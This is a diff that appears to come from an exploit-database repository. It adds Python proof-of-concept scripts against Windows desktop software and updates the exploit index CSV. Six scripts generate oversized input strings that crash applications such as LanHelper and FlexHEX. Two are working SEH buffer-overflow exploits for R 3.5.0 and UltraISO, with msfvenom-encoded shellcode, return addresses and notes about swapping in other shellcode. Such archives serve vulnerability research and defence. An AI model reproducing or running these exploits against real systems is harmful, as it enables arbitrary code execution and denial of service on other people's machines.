@@ -0,0 +1,31 @@ +#!/usr/bin/python +# Exploit Title: AnyBurn x86 - Denial of Service (DoS) +# Date: 30-01-2019 +# Exploit Author: Dino Covotsos - Telspace Systems +# Vendor Homepage: http://www.anyburn.com/ +# Version: 4.3 (32-bit) +# Software Link : http://www.anyburn.com/anyburn_setup.exe +# Contact: services[@]telspace.co.za +# Twitter: @telspacesystems (Greets to the Telspace Crew) +# Tested Version: 4.3 (32-bit) +# Tested on: Windows XP SP3 ENG x86 +# Note: The other exploitation field in Anyburn was discovered by Achilles +# CVE: TBC from Mitre +# Created in preparation for OSCE - DC - Telspace Systems +# DOS PoC: +# 1.) Generate exploit.txt, copy the contents to clipboard +# 2.) In the application, open 'Convert image to file format' +# 3.) Paste the contents of exploit.txt under 'Select source image file' and "Select Destination image file" +# 4.) Click "Convert Now" and the program crashes + +buffer = "A" * 10000 + +payload = buffer +try: + f=open("exploit.txt","w") + print "[+] Creating %s bytes evil payload.." %len(payload) + f.write(payload) + f.close() + print "[+] File created!" +except: + print "File cannot be created" \ No newline at end of file diff --git a/exploits/windows/dos/46291.py b/exploits/windows/dos/46291.py new file mode 100755 index 000000000..cc40284b2 --- /dev/null +++ b/exploits/windows/dos/46291.py @@ -0,0 +1,26 @@ +# Exploit Title: Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC) +# Discovery by: Luis Martinez +# Discovery Date: 2019-01-30 +# Vendor Homepage: https://www.ks-soft.net +# Software Link : https://www.ks-soft.net/download/hm1190.exe +# Tested Version: 11.90 Beta +# Vulnerability Type: Denial of Service (DoS) Local +# Tested on OS: Windows 10 Pro x64 es + +# Steps to Produce the Crash: +# 1.- Run python code : python Advanced_Host_Monitor_11.90_Beta.py +# 2.- Open Advanced_Host_Monitor_11.90_Beta.txt and copy content to clipboard +# 3.- Open HostMonitor +# 4.- Help -> License... +# 5.- Register Now +# 6.- Name (Organization): -> l4m5 +# 7.- Paste ClipBoard on "Registration number:" +# 8.- OK +# 9.- Crashed + +#!/usr/bin/env python + +buffer = "\x41" * 1050 +f = open ("Advanced_Host_Monitor_11.90_Beta.txt", "w") +f.write(buffer) +f.close() \ No newline at end of file diff --git a/exploits/windows/dos/46292.py b/exploits/windows/dos/46292.py new file mode 100755 index 000000000..0b65e9ecb --- /dev/null +++ b/exploits/windows/dos/46292.py @@ -0,0 +1,21 @@ +# Exploit Title: a-Mac Address Change v5.4 - Denial of Service (PoC) +# Discovery by: Rafael Pedrero +# Discovery Date: 2019-01-30 +# Vendor Homepage: http://amac.paqtool.com/ +# Software Link : http://amac.paqtool.com/ +# Tested Version: 5.4 +# Tested on: Windows XP SP3 +# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow + +# Steps to Produce the Crash: +# 1.- Run amac.exe +# 2.- copy content amac_Crash.txt or 212 "A" to clipboard (result from this python script) +# 3.- Go to Register - Amac Register Form and paste the result in all fields: "Your Name", "Your Company", "Register Code" +# 4.- Click in Register button and you will see a crash. + +#!/usr/bin/env python + +crash = "\x41" * 212 +f = open ("amac_Crash.txt", "w") +f.write(crash) +f.close() \ No newline at end of file diff --git a/exploits/windows/dos/46293.py b/exploits/windows/dos/46293.py new file mode 100755 index 000000000..c8ef3cc9a --- /dev/null +++ b/exploits/windows/dos/46293.py @@ -0,0 +1,21 @@ +# Exploit Title: ASPRunner Professional v6.0.766 - Denial of Service (PoC) +# Discovery by: Rafael Pedrero +# Discovery Date: 2019-01-30 +# Vendor Homepage: http://www.xlinesoft.com/asprunnerpro +# Software Link : http://www.xlinesoft.com/asprunnerpro +# Tested Version: v6.0.766 +# Tested on: Windows XP SP3 +# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow + +# Steps to Produce the Crash: +# 1.- Run AspRunnerPro.exe +# 2.- copy content AspRunnerPro_Crash.txt or 180 "A" to clipboard (result from this python script) +# 3.- Go to Wizard "Create a new project" - in "Project name:" field paste the result (180 "A" or more) +# 4.- Click in Next button and you will see a crash. + +#!/usr/bin/env python + +crash = "\x41" * 180 +f = open ("AspRunnerPro_Crash.txt", "w") +f.write(crash) +f.close() \ No newline at end of file diff --git a/exploits/windows/dos/46294.py b/exploits/windows/dos/46294.py new file mode 100755 index 000000000..9ea89f76d --- /dev/null +++ b/exploits/windows/dos/46294.py @@ -0,0 +1,72 @@ +# Exploit Title: FlexHEX v2.46 - Denial of Service (PoC) and SEH overwritten Crash PoC +# Discovery by: Rafael Pedrero +# Discovery Date: 2018-12-20 +# Vendor Homepage: http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1 +# Software Link : http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1 +# Tested Version: 2.46 +# Tested on: Windows XP SP3 +# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow + +# Steps to Produce the Crash: +# 1.- Run FlexHEX.exe +# 2.- Go to Menu "Stream" - "New Stream" and copy content of FlexHEX_SEH_Crash.txt to clipboard +# 3.- Paste the content into the field: 'Stream Name:' +# 4.- Click 'OK' button and you will see a crash. + + +''' +Log data, item 21 + Address=0BADF00D + Message= SEH record (nseh field) at 0x0012dde8 overwritten with unicode +pattern : 0x006a0041 (offset 276), followed by 20 bytes of cyclic data +after the handler + +SEH chain of main thread +Address SE handler +0012DDFC FlexHEX.00420042 +00420042 8BC13B2C +4E8B3C46 *** CORRUPT ENTRY *** + +EAX 00410041 FlexHEX.00410041 +ECX 00000000 +EDX 00000000 +EBX 0012FA18 +ESP 0012DE3C UNICODE "AAAAAAAAAABBBB" +EBP 00410041 FlexHEX.00410041 +ESI 0012DE78 +EDI 0012E69C +EIP 00410041 FlexHEX.00410041 +C 0 ES 0023 32bit 0(FFFFFFFF) +P 0 CS 001B 32bit 0(FFFFFFFF) +A 1 SS 0023 32bit 0(FFFFFFFF) +Z 0 DS 0023 32bit 0(FFFFFFFF) +S 0 FS 003B 32bit 7FFDF000(FFF) +T 0 GS 0000 NULL +D 0 +O 0 LastErr ERROR_SUCCESS (00000000) +EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G) +ST0 empty +ST1 empty +ST2 empty +ST3 empty +ST4 empty +ST5 empty +ST6 empty +ST7 empty + 3 2 1 0 E S P U O Z D I +FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) +FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 + + +''' + +#!/usr/bin/env python + +nseh = "BB" +seh = "BB" + +junk = "\x41" * 276 +crash = junk + nseh + seh +f = open ("FlexHEX_SEH_Crash.txt", "w") +f.write(crash) +f.close() \ No newline at end of file diff --git a/exploits/windows/dos/46295.py b/exploits/windows/dos/46295.py new file mode 100755 index 000000000..3daf643cd --- /dev/null +++ b/exploits/windows/dos/46295.py @@ -0,0 +1,55 @@ +# Exploit Title: LanHelper v1.74 - Denial of Service (PoC) +# Discovery by: Rafael Pedrero +# Discovery Date: 2019-01-31 +# Vendor Homepage: http://www.hainsoft.com/ +# Software Link : http://www.hainsoft.com/ +# Tested Version: 1.74 +# Tested on: Windows XP SP3 +# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow + +# Steps to Produce the Crash: +# 1.- Run LanHelper.exe +# 2.- copy content LanHelper_Crash.txt or 6000 "A" to clipboard (result from this python script) +# 3.- Go to "NT-Utilities" - "Form Send Message" - Tab "Message" - "Add" - "Add target" and paste the result from this python script +# 4.- Paste the result from this python script in "Message text:", same form. +# 5.- Click in Send button and you will see a crash. + +''' +EAX 00410041 LanHelpe.00410041 +ECX 00410041 LanHelpe.00410041 +EDX 00410041 LanHelpe.00410041 +EBX 00410745 LanHelpe.00410745 +ESP 013DFE70 +EBP 013DFE94 +ESI 00B6F268 +EDI 00B6F96C UNICODE "AAAAAAAAAAAAAAAAAA" +EIP 00401D0A LanHelpe.00401D0A +C 0 ES 0023 32bit 0(FFFFFFFF) +P 1 CS 001B 32bit 0(FFFFFFFF) +A 0 SS 0023 32bit 0(FFFFFFFF) +Z 0 DS 0023 32bit 0(FFFFFFFF) +S 0 FS 003B 32bit 7FFD9000(FFF) +T 0 GS 0000 NULL +D 0 +O 0 LastErr ERROR_IO_PENDING (000003E5) +EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) +ST0 empty +ST1 empty +ST2 empty +ST3 empty +ST4 empty +ST5 empty +ST6 empty +ST7 empty + 3 2 1 0 E S P U O Z D I +FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) +FCW 1372 Prec NEAR,64 Mask 1 1 0 0 1 0 + +''' + +#!/usr/bin/env python + +crash = "\x41" * 6000 +f = open ("LanHelper_Crash.txt", "w") +f.write(crash) +f.close() \ No newline at end of file diff --git a/exploits/windows/local/46288.py b/exploits/windows/local/46288.py new file mode 100755 index 000000000..8f3296653 --- /dev/null +++ b/exploits/windows/local/46288.py @@ -0,0 +1,51 @@ +#!/usr/bin/python +# Exploit Title: R i386 3.5.0 - Local Buffer Overflow (SEH) +# Date: 30/01/2019 +# Exploit Author: Dino Covotsos - Telspace Systems +# Vendor Homepage: https://www.r-project.org/ +# Version: 3.5.0 +# Software Link: https://cran.r-project.org/bin/windows/base/old/3.5.0/R-3.5.0-win.exe +# Contact: services[@]telspace.co.za +# Twitter: @telspacesystems (Greets to the Telspace Crew) +# Version: 3.5.0 +# Tested on: Windows XP Prof SP3 ENG x86 +# Note: SEH exploitation method (SEH + DEP Bypass exploit for Windows 7 x86 by Bzyo available on exploit-db) +# CVE: TBC from Mitre +# Created in preparation for OSCE - DC - Telspace Systems +# PoC: +# 1.) Generate exploit.txt, copy the contents to clipboard +# 2.) In the application, open 'Edit' then 'Gui Preferences' +# 3.) Paste the contents of exploit.txt under 'Language for menus and messages' +# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!) + +#PPR Information +#Message= 0x6cb99185 : pop ebx # pop esi # ret 0x08 | {PAGE_EXECUTE_READ} [R.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.5.0 + +#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x1a\x7d" -f c +shellcode = ("\xd9\xc6\xb8\x06\x7f\x92\x78\xd9\x74\x24\xf4\x5b\x29\xc9\xb1" +"\x31\x83\xc3\x04\x31\x43\x14\x03\x43\x12\x9d\x67\x84\xf2\xe3" +"\x88\x75\x02\x84\x01\x90\x33\x84\x76\xd0\x63\x34\xfc\xb4\x8f" +"\xbf\x50\x2d\x04\xcd\x7c\x42\xad\x78\x5b\x6d\x2e\xd0\x9f\xec" +"\xac\x2b\xcc\xce\x8d\xe3\x01\x0e\xca\x1e\xeb\x42\x83\x55\x5e" +"\x73\xa0\x20\x63\xf8\xfa\xa5\xe3\x1d\x4a\xc7\xc2\xb3\xc1\x9e" +"\xc4\x32\x06\xab\x4c\x2d\x4b\x96\x07\xc6\xbf\x6c\x96\x0e\x8e" +"\x8d\x35\x6f\x3f\x7c\x47\xb7\x87\x9f\x32\xc1\xf4\x22\x45\x16" +"\x87\xf8\xc0\x8d\x2f\x8a\x73\x6a\xce\x5f\xe5\xf9\xdc\x14\x61" +"\xa5\xc0\xab\xa6\xdd\xfc\x20\x49\x32\x75\x72\x6e\x96\xde\x20" +"\x0f\x8f\xba\x87\x30\xcf\x65\x77\x95\x9b\x8b\x6c\xa4\xc1\xc1" +"\x73\x3a\x7c\xa7\x74\x44\x7f\x97\x1c\x75\xf4\x78\x5a\x8a\xdf" +"\x3d\x94\xc0\x42\x17\x3d\x8d\x16\x2a\x20\x2e\xcd\x68\x5d\xad" +"\xe4\x10\x9a\xad\x8c\x15\xe6\x69\x7c\x67\x77\x1c\x82\xd4\x78" +"\x35\xe1\xbb\xea\xd5\xc8\x5e\x8b\x7c\x15") + +buffer = "A" * 884 + "\xEB\x09\x90\x90" + "\x85\x91\xb9\x6c" + "\x90" * 20 + shellcode + "D" * 8868 + +payload = buffer +try: + f=open("exploit.txt","w") + print "[+] Creating %s bytes evil payload.." %len(payload) + f.write(payload) + f.close() + print "[+] File created!" +except: + print "File cannot be created" \ No newline at end of file diff --git a/exploits/windows/local/46290.py b/exploits/windows/local/46290.py new file mode 100755 index 000000000..74ed4fb09 --- /dev/null +++ b/exploits/windows/local/46290.py @@ -0,0 +1,51 @@ +#!/usr/bin/python +# Exploit Title: UltraISO 9.7.1.3519 - Local Buffer Overflow (SEH) +# Date: 30/01/2019 +# Exploit Author: Dino Covotsos - Telspace Systems +# Vendor Homepage: https://www.ultraiso.com/ +# Version: 9.7.1.3519 +# Software Link: https://www.ultraiso.com/download.html +# Contact: services[@]telspace.co.za +# Twitter: @telspacesystems (Greets to the Telspace Crew) +# Tested on: Windows XP Prof SP3 ENG x86 +# CVE: TBC from Mitre +# Thanks to Francisco Ramirez for the original Windows 10 x64 DOS. +# Created in preparation for OSCE - DC - Telspace Systems +# PoC: +# 1.) Generate exploit.txt, copy the content to clipboard +# 2.) In the application, click "Make CD/DVD Image" +# 3.) Paste the contents of exploit.txt under 'Output FileName' +# 4.) Click OK - Calc POPS (or change shellcode to whatever you require, take note of badchars!) + +#0x72d1170b : pop esi # pop ebx # ret 0x04 | {PAGE_EXECUTE_READ} [msacm32.drv] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v5.1.2600.0 +#NSEH - JMP 0012ED66 (\xEB\x08) + +#msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x3a" -f c + +shellcode = ("\xda\xc0\xd9\x74\x24\xf4\xbf\x67\xdc\x50\x39\x5d\x2b\xc9\xb1" +"\x31\x83\xc5\x04\x31\x7d\x14\x03\x7d\x73\x3e\xa5\xc5\x93\x3c" +"\x46\x36\x63\x21\xce\xd3\x52\x61\xb4\x90\xc4\x51\xbe\xf5\xe8" +"\x1a\x92\xed\x7b\x6e\x3b\x01\xcc\xc5\x1d\x2c\xcd\x76\x5d\x2f" +"\x4d\x85\xb2\x8f\x6c\x46\xc7\xce\xa9\xbb\x2a\x82\x62\xb7\x99" +"\x33\x07\x8d\x21\xbf\x5b\x03\x22\x5c\x2b\x22\x03\xf3\x20\x7d" +"\x83\xf5\xe5\xf5\x8a\xed\xea\x30\x44\x85\xd8\xcf\x57\x4f\x11" +"\x2f\xfb\xae\x9e\xc2\x05\xf6\x18\x3d\x70\x0e\x5b\xc0\x83\xd5" +"\x26\x1e\x01\xce\x80\xd5\xb1\x2a\x31\x39\x27\xb8\x3d\xf6\x23" +"\xe6\x21\x09\xe7\x9c\x5d\x82\x06\x73\xd4\xd0\x2c\x57\xbd\x83" +"\x4d\xce\x1b\x65\x71\x10\xc4\xda\xd7\x5a\xe8\x0f\x6a\x01\x66" +"\xd1\xf8\x3f\xc4\xd1\x02\x40\x78\xba\x33\xcb\x17\xbd\xcb\x1e" +"\x5c\x31\x86\x03\xf4\xda\x4f\xd6\x45\x87\x6f\x0c\x89\xbe\xf3" +"\xa5\x71\x45\xeb\xcf\x74\x01\xab\x3c\x04\x1a\x5e\x43\xbb\x1b" +"\x4b\x20\x5a\x88\x17\x89\xf9\x28\xbd\xd5") + +buffer = "A" * 304 + "\xEB\x08\x90\x90" + "\x0b\x17\xd1\x72" + "\x90" * 20 + shellcode + "D" * 9448 + +payload = buffer +try: + f=open("exploit.txt","w") + print "[+] Creating %s bytes evil payload.." %len(payload) + f.write(payload) + f.close() + print "[+] File created!" +except: + print "File cannot be created" \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 27cf08c6a..c468bf823 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6280,6 +6280,17 @@ id,file,description,date,author,type,platform,port 46285,exploits/multiple/dos/46285.c,"iOS/macOS 10.13.6 - 'if_ports_used_update_wakeuuid()' 16-byte Uninitialized Kernel Stack Disclosure",2019-01-30,"Google Security Research",dos,multiple, 46286,exploits/windows/dos/46286.py,"IP-Tools 2.50 - Denial of Service SEH Overwrite (PoC)",2019-01-30,"Rafael Pedrero",dos,windows, 46287,exploits/windows/dos/46287.py,"Necrosoft DIG 0.4 - Denial of Service SEH Overwrite (PoC)",2019-01-30,"Rafael Pedrero",dos,windows, +46289,exploits/windows/dos/46289.py,"Anyburn 4.3 - 'Convert image to file format' Denial of Service",2019-01-31,"Dino Covotsos",dos,windows, +46291,exploits/windows/dos/46291.py,"Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)",2019-01-31,"Luis Martínez",dos,windows, +46292,exploits/windows/dos/46292.py,"AMAC Address Change 5.4 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows, +46293,exploits/windows/dos/46293.py,"ASPRunner Professional 6.0.766 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows, +46294,exploits/windows/dos/46294.py,"FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC)",2019-01-31,"Rafael Pedrero",dos,windows, +46295,exploits/windows/dos/46295.py,"LanHelper 1.74 - Denial of Service (PoC)",2019-01-31,"Rafael Pedrero",dos,windows, +46296,exploits/macos/dos/46296.c,"macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File",2019-01-31,"Google Security Research",dos,macos, +46297,exploits/multiple/dos/46297.c,"macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack",2019-01-31,"Google Security Research",dos,multiple, +46298,exploits/multiple/dos/46298.c,"macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem",2019-01-31,"Google Security Research",dos,multiple, +46299,exploits/multiple/dos/46299.c,"macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic",2019-01-31,"Google Security Research",dos,multiple, +46300,exploits/multiple/dos/46300.c,"macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics",2019-01-31,"Google Security Research",dos,multiple, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -10257,7 +10268,9 @@ id,file,description,date,author,type,platform,port 46267,exploits/windows/local/46267.py,"BEWARD Intercom 2.3.1 - Credentials Disclosure",2019-01-28,LiquidWorm,local,windows, 46269,exploits/windows/local/46269.py,"Faleemi Desktop Software 1.8 - Local Buffer Overflow (SEH) (DEP Bypass)",2019-01-28,bzyo,local,windows, 46279,exploits/windows/local/46279.py,"HTML5 Video Player 1.2.5 - Local Buffer Overflow (Non SEH)",2019-01-29,"Dino Covotsos",local,windows, -46283,exploits/windows/local/46283.py,"10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass)",2019-01-30,bzyo,local,windows, +46283,exploits/windows/local/46283.py,"10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass)",2019-01-30,bzyo,local,windows, +46288,exploits/windows/local/46288.py,"R 3.5.0 - Local Buffer Overflow (SEH)",2019-01-31,"Dino Covotsos",local,windows, +46290,exploits/windows/local/46290.py,"UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)",2019-01-31,"Dino Covotsos",local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139